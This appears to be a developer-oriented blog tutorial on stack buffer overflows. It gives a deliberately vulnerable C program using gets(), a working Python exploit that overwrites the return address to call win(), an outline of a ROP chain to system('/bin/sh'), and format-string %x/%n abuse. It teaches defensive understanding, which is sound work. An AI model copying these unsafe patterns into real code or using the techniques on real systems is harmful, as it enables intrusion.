Binary Exploitation for Developers: Stack Overflow from Scratch

I remember learning binary exploitation for the first time. 2016, reading CTF writeups, watching people get a shell from a seemingly innocent C program. The code was just gets(buffer) - and somehow, root access.

I thought it was hacking like in the movies. Turns out it's simpler - and more interesting.

This isn't a "become a hacker" tutorial. It's an explanation for developers: how binary exploitation works, from the code and assembly level. So you understand why gets() is dangerous, why strcpy() should be avoided, and why your compiler warns "this function is dangerous."

---

The Stack: Where Exploitation Happens

Every C program has a stack. The stack stores: local variables, function arguments, and the return address - the memory address to execute after a function finishes.

void vulnerable() {
char buffer[64];
gets(buffer);
}

In assembly (x86-64), the stack looks like this:

; Stack layout when vulnerable() is called
; [buffer] ← 64 bytes (local variable)
; [saved RBP] ← 8 bytes (old base pointer)
; [return address] ← 8 bytes (caller's address)
; [argument] ← ...

gets() reads input without checking length. You input 64 characters - safe. You input 80 characters - overflows into saved RBP. You input 88 characters - overflows into return address. You control it.

If you can overwrite the return address, you can redirect execution anywhere.

---

Example: Simple Buffer Overflow

#include

void win() {
printf("🎉 Exploited! You called win()!\n");
}

void vulnerable() {
char buffer[64];
printf("buffer at: %p\n", buffer);
printf("win at: %p\n", win);
gets(buffer);
}

int main() {
vulnerable();
return 0;
}

Compile without protections:

gcc -fno-stack-protector -no-pie -o vuln vuln.c

Run:

echo "AAAA" | ./vuln
buffer at: 0x7ffffffde00
win at: 0x4006b7

Now we know win()'s address. Exploit:

import struct
win_addr = 0x4006b7
payload = b'A' * 64 # fill buffer
payload += b'B' * 8 # overwrite saved RBP
payload += struct.pack('<Q', win_addr) # overwrite return address
print(payload.decode('latin-1'))

python3 exploit.py | ./vuln
🎉 Exploited! You called win()!

That's it. Classic buffer overflow in 20 lines of Python.

---

In the Real World: Protections

Real compilers and OSes have protections:

1. Stack Canaries. A random value between buffer and return address. Overflow overwrites it → program crashes before return.

2. NX / DEP. Stack can't be executed. Old shellcode injection doesn't work anymore.

3. ASLR. Stack, library, and binary addresses are randomized. Can't hardcode addresses.

First run: buffer at 0x7ffffffde00
Second run: buffer at 0x7ffffffe200
Third run: buffer at 0x7ffffffaa00

---

ROP: Bypassing NX + ASLR

Return-Oriented Programming (ROP). Instead of injecting shellcode, you reuse existing code in the binary/library. Small code snippets (gadgets) ending with ret. Chain them to execute what you want.

; Gadget: existing code
pop rdi; ret ; pop value into rdi (function argument)

; ROP chain:
; [addr_pop_rdi] ← pop rdi; ret
; [argument]
; [addr_system] ← call system(argument)
; [addr_binsh] ← pointer to "/bin/sh"

No shellcode needed. Just gadgets from libc.

---

Format String Vulnerability

printf(user_input); // WRONG - user controls format

Input %x %x %x %x → leaks stack values. Input %n → writes to arbitrary address.

---

An Honest Closing

Binary exploitation hasn't changed much in 30 years. The stack overflow explained in Aleph One's "Smashing The Stack for Fun and Profit" (1996) - still relevant. Different techniques (ROP, ASLR bypass), but the root is the same: program trusts user input without bounds checking.

I'm not advocating "learn hacking." But I believe: developers who understand binary exploitation write safer code. You know why strcpy is dangerous, why -fstack-protector matters, why format strings need "%s".

If you understand stack overflows, you'll never write gets() in production. And that alone is worth it.